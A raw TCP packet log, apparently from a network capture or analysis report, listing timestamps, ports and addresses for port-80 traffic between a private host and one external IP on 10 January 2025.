Jan 10, 2025 17:42:19.580039024 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.580142975 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.580312967 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580326080 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580368996 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580383062 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580394983 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580410004 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.580410957 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580423117 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580460072 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.580460072 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.580866098 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580878973 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580892086 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580903053 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.580936909 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.580936909 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.593920946 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594007015 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594018936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594024897 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.594139099 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.594140053 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594152927 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594258070 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.594537973 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594558001 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594592094 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594633102 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.594710112 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594722033 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594813108 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.594961882 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.595092058 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.595092058 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.611455917 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611515045 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611526966 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611531019 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.611589909 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611685038 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611696959 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611865997 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.611865997 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.611880064 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611891031 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611901999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.611957073 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.611957073 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612135887 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612148046 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612159014 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612170935 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612462044 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612474918 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612487078 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612500906 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612524986 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612524986 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612524986 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612705946 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612736940 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612848997 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612858057 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612864971 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612874985 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612885952 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612896919 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.612935066 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612935066 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.612935066 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.613272905 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613282919 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613291979 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613303900 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613316059 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613377094 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.613377094 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.613681078 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613692999 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613703012 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613714933 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613729000 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.613754988 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.613754988 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.613754988 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614123106 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614134073 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614145041 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614156008 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614167929 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614180088 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614201069 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614201069 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614201069 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614685059 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614696026 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614706039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614718914 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614731073 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614743948 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614756107 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614765882 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614777088 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614777088 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614777088 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614778042 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614789963 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614804983 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.614849091 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614849091 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.614849091 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.615546942 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.615557909 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.615569115 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.615581036 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.615592957 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.615593910 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.615798950 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616370916 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616436958 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616451979 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616463900 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616523981 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616539001 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616602898 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616689920 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616702080 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616713047 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616723061 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616836071 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616883039 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616902113 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616914988 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616926908 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616939068 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616951942 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.616975069 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616975069 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.616975069 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.636810064 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.653502941 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653527975 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653542042 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653630972 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653682947 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.653682947 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.653697968 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653712988 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653806925 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.653822899 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.653883934 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.671430111 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671446085 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671546936 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671560049 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671653986 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.671677113 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671689987 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671703100 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671717882 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.671770096 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.671770096 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.671770096 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.671973944 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672060013 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672072887 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672101974 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672195911 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672207117 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672218084 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672230959 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672240973 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672298908 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672571898 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672581911 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672591925 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672604084 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672616005 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672629118 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672641993 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672652006 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672652006 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672652006 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672653913 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672667027 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672679901 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672689915 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.672738075 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672738075 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.672738075 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.673161030 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.673182964 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.673196077 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.673206091 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.673221111 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.673230886 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.673274994 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.673274994 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.673274994 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.686304092 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686328888 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686341047 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686444998 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.686475992 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686487913 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686644077 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686655045 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686665058 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686691046 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.686691046 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.686885118 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686903000 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.686927080 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.686944008 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687052011 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687062025 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687082052 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.687102079 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.687176943 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687191010 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687328100 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.687334061 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687345028 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.687413931 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.703969955 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704005003 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704015017 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704063892 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704075098 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704142094 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704142094 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704142094 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704205990 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704284906 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704297066 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704308033 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704339981 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704339981 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704550982 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704564095 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704575062 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704586029 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704596996 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704608917 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704655886 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704655886 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704655886 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.704956055 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704966068 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704976082 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704986095 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.704996109 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705005884 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705048084 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705048084 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705048084 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705235958 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705248117 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705257893 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705275059 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705334902 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705338001 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705338001 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705347061 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705357075 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705370903 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705383062 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705384970 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705394030 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705406904 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705415964 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.705456018 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705456018 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.705456018 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.706209898 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706221104 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706229925 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706240892 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706252098 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706263065 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706274033 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.706274033 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.706274986 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706288099 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706300020 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706310987 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706322908 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706331968 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706345081 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.706357956 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.706357956 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.706357956 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.706382036 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.707128048 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707139015 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707149029 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707159996 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707173109 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707184076 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707195044 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707206011 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707216978 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707226992 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707238913 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707251072 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.707572937 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.707572937 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.707572937 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.707572937 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.707572937 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.707572937 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.708019972 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708030939 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708040953 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708053112 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708060980 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708072901 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708077908 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.708085060 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708096981 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708100080 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.708106041 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.708115101 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.708125114 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.708192110 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.719099998 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719116926 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719131947 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719212055 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719213009 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.719222069 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719233990 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719398022 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719408035 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719417095 CET	80	49784	193.143.1.205	192.168.2.6
Jan 10, 2025 17:42:19.719450951 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.719450951 CET	49784	80	192.168.2.6	193.143.1.205
Jan 10, 2025 17:42:19.719450951 CET	49784	80	192.168.2.6	193.143.1.205
